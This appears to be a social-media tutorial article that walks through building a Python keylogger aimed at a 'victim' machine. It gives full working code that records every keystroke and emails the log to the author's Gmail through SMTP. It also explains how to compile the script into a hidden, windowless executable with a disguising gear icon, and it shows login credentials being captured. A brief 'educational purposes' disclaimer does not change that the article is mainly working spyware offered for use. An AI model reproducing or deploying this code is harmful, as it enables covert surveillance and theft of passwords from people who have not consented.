Keylogger in Python
How to write a keylogger in Python that sends target computer keystrokes to your email.

Keylogger in Python

Writing a Keylogger in Python

In this article, I will be guiding you to write your own keylogger in Python that will capture the victim key keystrokes & will email them directly to your mailbox.

Disclaimer: This is for educational purposes only, as I am not promoting any type of illegal activity.

What we will discuss:

  1. Environment Setup
  2. Converting Python code to an exe
  3. Running the file on our target machine
  4. Checking an email for received keystrokes.

Environment Step:

To write and run your Keylogger, you should have these things installed.

  1. Python
  2. Necessary Libraries
  3. IDE (Integrated Development Environment), here we will be using

Let’s dig in:

Open your Windows cmd as an administrator

  1. Installing Python:

Google “Python”

Article content
Search for Python

Or click on this link to go directly to the download page


Article content
Download the latest version

Installing necessary libraries:

install pip install pynput        
pip install pyinstaller        

First install pip install pynput

Article content
pip install pynput

pip install pyinstaller

installing pyinstaller in windows
pip install pyinstaller
pyinstaller

Downloading & Installing IDE:

We will be using the Sublime Text editor

First, go to Google & search for Sublime Text editor

Downloading Sublime Text Editor
#SublimeText Editor
#Sublime IDE
Downloading the Sublime Text editor

Or download it from this link: Download - Sublime Text

Simply install it as you install other applications.

Writing Python Code:

Check my GitHub repo for downloading the code:

Article content
Github repo link
from pynput.keyboard import Listener
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText        

# Global variable to store typed characters

captured_keys = ""        
def handle_key_press(key_event):
    """
    Converts and stores pressed keys into a global string,
    sending them via email after a specified length.
    """
    global captured_keys        

# Convert key event to string and remove quotes

key_str = str(key_event).replace("'", "")        

# Replace special keys with readable characters

    special_keys = {
        'Key.space': ' ',
        'Key.enter': '\n',
        'Key.shift': '',
        'Key.backspace': '<'
    }

    key_str = special_keys.get(key_str, key_str)        

# Append processed key to the global log

captured_keys += key_str        

# Trigger email sending after every 700 characters

    if len(captured_keys) >= 700:
        transmit_logs_via_email(captured_keys)
        captured_keys = ""  # Reset log after sending        
def transmit_logs_via_email(log_data):
    """
    Sends the captured keystrokes to an email address.
    """
    sender_email = "YourGmail@gmail.com"
    recipient_email = "YourGmail@gmail.com"
    email_password = "your_app_password_here"  # Use app password from https://myaccount.google.com/apppasswords        

# Create MIME message

    email_msg = MIMEMultipart()
    email_msg['From'] = sender_email
    email_msg['To'] = recipient_email
    email_msg['Subject'] = "Captured Keystrokes Log"
    email_msg.attach(MIMEText(log_data, 'plain'))        

# Connect and send email using Gmail SMTP

try:
        smtp_server = smtplib.SMTP('smtp.gmail.com', 587)
        smtp_server.starttls()
        smtp_server.login(sender_email, email_password)
        smtp_server.sendmail(sender_email, recipient_email, email_msg.as_string())
        smtp_server.quit()
    except Exception as e:
        print(f"[!] Error sending email: {e}")        

# Start the keylogger listener

if __name__ == "__main__":
    with Listener(on_press=handle_key_press) as listener:
        listener.join()        

Downloading an icon for our keylogger

Go to this site: Free Icons PNG, ICO, ICNS, and SVG

Search for a gear icon or another icon of your choice

Article content
Search for a gear icon

Download it in icon format


Article content
Download it in icon Format


Go to https://myaccount.google.com/

Go to the Security Tab

Apply 2-Step Authentication


Creating app passwords in Google account
Apply 2-Step Verification in your Google account

Then search for app passwords

Article content
app passwords in accounts. Google.com

Retype your Google password


Article content


Write an app name of your choice, you can write it any custom name

Article content
app name


Article content
Creating app passwords

You will see an app password & this can be used to replace the placeholder when you download my code from the above repo link.

Copy the app password


Article content
app password

Open the code in Sublime or any text editor

Place the code here

Article content
app password

Write your email in the sender & the recipient email

Article content
Replace with your gmail email

Converting our code to EXE

Place the Python File and the icon in the same folder

Open PowerShell in the same directory and type the following code:

pyinstaller -w -F keylogger.py --icon=icon.ico        


Article content
Converting Python code to an exe
Article content
Converting Python code to an exe

Our Keylogger is ready


Article content
Keylogger

Now visiting the dummy login page.

& entering dummy credentials

Article content
Test Login page

You will see an email

Article content
Captured key Strokes

Follow & repost this

Great job, Umer! Really impressed. 👏

Wow MashaAllah 😍, thanks for sharing umer bhai

To view or add a comment, sign in

More articles by Hazrat U.

Explore content categories